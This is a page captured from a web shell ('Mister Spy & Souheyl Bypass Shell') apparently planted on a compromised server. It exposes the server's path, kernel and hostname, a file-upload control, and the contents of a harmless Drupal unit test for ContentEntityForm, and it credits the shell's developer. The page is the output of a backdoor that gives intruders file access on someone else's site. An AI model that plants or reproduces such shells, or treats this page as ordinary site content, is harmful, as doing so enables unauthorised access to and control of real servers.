Welcome To Our Shell

Mister Spy & Souheyl Bypass Shell

Current Path : /var/www/html/german-vocational.cn/core/tests/Drupal/Tests/Core/Entity/

Linux ift1.ift-informatik.de 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
Upload File :
Current File : /var/www/html/german-vocational.cn/core/tests/Drupal/Tests/Core/Entity/ContentEntityFormTest.php

<?php

namespace Drupal\Tests\Core\Entity;

use Drupal\Component\Datetime\TimeInterface;
use Drupal\Core\Entity\ContentEntityForm;
use Drupal\Core\Entity\EntityManagerInterface;
use Drupal\Core\Entity\EntityTypeBundleInfoInterface;
use Drupal\Tests\UnitTestCase;

/**
 * @coversDefaultClass \Drupal\Core\Entity\ContentEntityForm
 * @group Entity
 */
class ContentEntityFormTest extends UnitTestCase {

  /**
   * @group legacy
   * @expectedDeprecation Passing the entity.manager service to ContentEntityForm::__construct() is deprecated in Drupal 8.6.0 and will be removed before Drupal 9.0.0. Pass the entity.repository service instead. See https://www.drupal.org/node/2549139.
   */
  public function testEntityManagerDeprecation() {
    $entity_manager = $this->prophesize(EntityManagerInterface::class)->reveal();
    $entity_type_bundle_info = $this->prophesize(EntityTypeBundleInfoInterface::class)->reveal();
    $time = $this->prophesize(TimeInterface::class)->reveal();
    $form = new ContentEntityForm($entity_manager, $entity_type_bundle_info, $time);

    $reflected_form = new \ReflectionClass($form);
    $entity_manager_property = $reflected_form->getProperty('entityManager');
    $entity_manager_property->setAccessible(TRUE);
    $this->assertTrue($entity_manager_property->getValue($form) === $entity_manager);
  }

}

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped) Email: contact@elmoujehidin.net